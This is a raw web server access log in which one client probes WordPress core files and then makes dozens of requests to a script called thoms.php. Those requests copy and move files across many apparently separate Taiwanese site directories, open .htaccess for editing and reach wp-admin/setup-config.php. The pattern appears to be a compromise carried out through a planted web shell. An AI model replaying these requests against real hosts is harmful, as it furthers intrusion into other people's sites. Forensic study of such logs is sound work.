45.135.193.11 - - [11/Sep/2026:23:08:25 -0400] "GET /bft.com.tw/wp-includes/class-wp-textdomain-registry.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:25 -0400] "GET /bft.com.tw/wp-includes/view-transitions.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:25 -0400] "GET /bft.com.tw/wp-includes/class-wp-block-styles-registry.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:25 -0400] "GET /bft.com.tw/wp-includes/style-engine/ HTTP/1.1" 200 906 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:25 -0400] "GET /bft.com.tw/wp-includes/class-wp-http-proxy.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:25 -0400] "GET /bft.com.tw/wp-includes/class-wp-site.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:25 -0400] "GET /bft.com.tw/wp-includes/class-wp-styles.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:25 -0400] "GET /bft.com.tw/wp-includes/functions.wp-styles.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:25 -0400] "GET /bft.com.tw/wp-includes/class-wp-block-bindings-source.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:25 -0400] "GET /bft.com.tw/wp-includes/class-wp-http-encoding.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:25 -0400] "GET /bft.com.tw/wp-includes/class-wp-tax-query.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:25 -0400] "GET /bft.com.tw/wp-includes/cron.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:25 -0400] "GET /bft.com.tw/wp-includes/json-schema.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:25 -0400] "GET /bft.com.tw/wp-includes/pluggable-deprecated.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:25 -0400] "GET /bft.com.tw/wp-includes/class-wp-date-query.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:25 -0400] "GET /bft.com.tw/wp-includes/feed.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:25 -0400] "GET /bft.com.tw/wp-includes/deprecated.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:25 -0400] "GET /bft.com.tw/wp-includes/class-wp-post-type.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:25 -0400] "GET /bft.com.tw/wp-includes/class-wp-view-config-data.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:25 -0400] "GET /bft.com.tw/wp-includes/class-wp-embed.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:25 -0400] "GET /bft.com.tw/wp-includes/class-wp-theme-json-resolver.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:25 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-blog-header.php&p=bft.com.tw%2Fsync-sample HTTP/1.1" 200 11363 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-blog-header.php&p=bft.com.tw%2Fsync-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:25 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-blog-header.php&finish=1&p=bft.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-blog-header.php&finish=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:25 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-blog-header.php&p=bft.com.tw%2Fupgrade HTTP/1.1" 200 11358 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-blog-header.php&p=bft.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:25 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-blog-header.php&finish=1&move=1&p=bft.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-blog-header.php&finish=1&move=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:25 -0400] "GET /thoms.php?p=bft.com.tw HTTP/1.1" 200 17865 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-blog-header.php&finish=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:25 -0400] "GET /thoms.php?p=bft.com.tw HTTP/1.1" 200 17864 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-blog-header.php&finish=1&move=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:25 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-blog-header.php&p= HTTP/1.1" 200 11891 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-blog-header.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:26 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-blog-header.php&p=bft.com.tw%2F.tmb HTTP/1.1" 200 11356 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-blog-header.php&p=bft.com.tw%2F.tmb" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:26 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-blog-header.php&p=bft.com.tw%2F.well-known HTTP/1.1" 200 11407 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-blog-header.php&p=bft.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:26 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-blog-header.php&p=bft.com.tw%2Fclient-global HTTP/1.1" 200 11365 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-blog-header.php&p=bft.com.tw%2Fclient-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:26 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-blog-header.php&p=bft.com.tw%2Fwp-content HTTP/1.1" 200 11435 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-blog-header.php&p=bft.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:26 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-blog-header.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11452 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-blog-header.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:26 -0400] "GET /bft.com.tw/.well-known/?ND= HTTP/1.1" 200 774 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:26 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-blog-header.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11867 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-blog-header.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:26 -0400] "GET /thoms.php?edit=.htaccess&env=ace&p=bft.com.tw HTTP/1.1" 200 15970 "http://163.245.207.76:443/thoms.php?edit=.htaccess&env=ace&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:26 -0400] "GET /bft.com.tw/.well-known/?SA= HTTP/1.1" 200 774 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:26 -0400] "GET /thoms.php?edit=.htaccess&p=bft.com.tw HTTP/1.1" 200 12330 "http://163.245.207.76:443/thoms.php?edit=.htaccess&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:26 -0400] "GET /bft.com.tw/.well-known/acme-challenge/ HTTP/1.1" 200 701 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:26 -0400] "GET /bft.com.tw/.well-known/?MA= HTTP/1.1" 200 774 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:26 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin&p=betcity.com.tw HTTP/1.1" 200 11482 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:26 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin&p=bioway88.com.tw HTTP/1.1" 200 11483 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:26 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin&p=wp-content HTTP/1.1" 200 11379 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:26 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin&p=bestzyx.com.tw HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:27 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin&p=bft.com.tw HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:27 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin&p=broadweb.com.tw HTTP/1.1" 200 11485 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:27 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin&p=bestjudy.com.tw HTTP/1.1" 200 11475 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:27 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin&p=biotaiwan.com.tw HTTP/1.1" 200 11486 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:27 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 11403 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:27 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin&p=big-wife.com.tw HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:27 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin&p=upgrade HTTP/1.1" 200 11317 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:27 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin&p=bodbooks.com.tw HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:27 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin&p=bossini.com.tw HTTP/1.1" 200 11466 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:27 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin&p=cgi-bin HTTP/1.1" 200 11318 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:27 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin&p=ba-guo.com-20260912023525 HTTP/1.1" 200 11483 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:27 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin&p=beauty-dental.com.tw HTTP/1.1" 200 11476 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:27 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin&p=besth2o.com.tw HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:27 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin&p=bfl.com.tw HTTP/1.1" 200 11482 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:27 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin&p=booking-wise2.com.tw HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:27 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin&p=ba-guo.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:27 -0400] "GET /thoms.php?p= HTTP/1.1" 200 18635 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:28 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin&p=bogroup.com.tw HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:28 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:28 -0400] "GET /thoms.php?p= HTTP/1.1" 200 18728 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:28 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:28 -0400] "GET /bft.com.tw?step=0 HTTP/1.1" 301 795 "http://163.245.207.76:443/bft.com.tw?step=0" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:28 -0400] "GET /thoms.php?p= HTTP/1.1" 200 18738 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:28 -0400] "GET /bft.com.tw/?step=0 HTTP/1.1" 302 0 "https://163.245.207.76:443/bft.com.tw?step=0" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:28 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-signup.php&p=bft.com.tw%2Fwp-content HTTP/1.1" 200 11445 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-signup.php&p=bft.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:28 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-signup.php&finish=1&move=1&p=bft.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-signup.php&finish=1&move=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:28 -0400] "GET /bft.com.tw/wp-admin/setup-config.php HTTP/1.1" 200 4560 "https://163.245.207.76:443/bft.com.tw/?step=0" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:28 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-signup.php&p=bft.com.tw%2Fclient-global HTTP/1.1" 200 11353 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-signup.php&p=bft.com.tw%2Fclient-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:28 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-signup.php&p=bft.com.tw%2Fsync-sample HTTP/1.1" 200 11362 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-signup.php&p=bft.com.tw%2Fsync-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:28 -0400] "GET /thoms.php?p=bft.com.tw HTTP/1.1" 200 17869 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-signup.php&finish=1&move=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:28 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-signup.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11866 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-signup.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:28 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-signup.php&finish=1&p=bft.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-signup.php&finish=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:28 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-signup.php&p=bft.com.tw%2F.well-known HTTP/1.1" 200 11368 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-signup.php&p=bft.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:29 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-signup.php&p=bft.com.tw%2Fupgrade HTTP/1.1" 200 11345 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-signup.php&p=bft.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
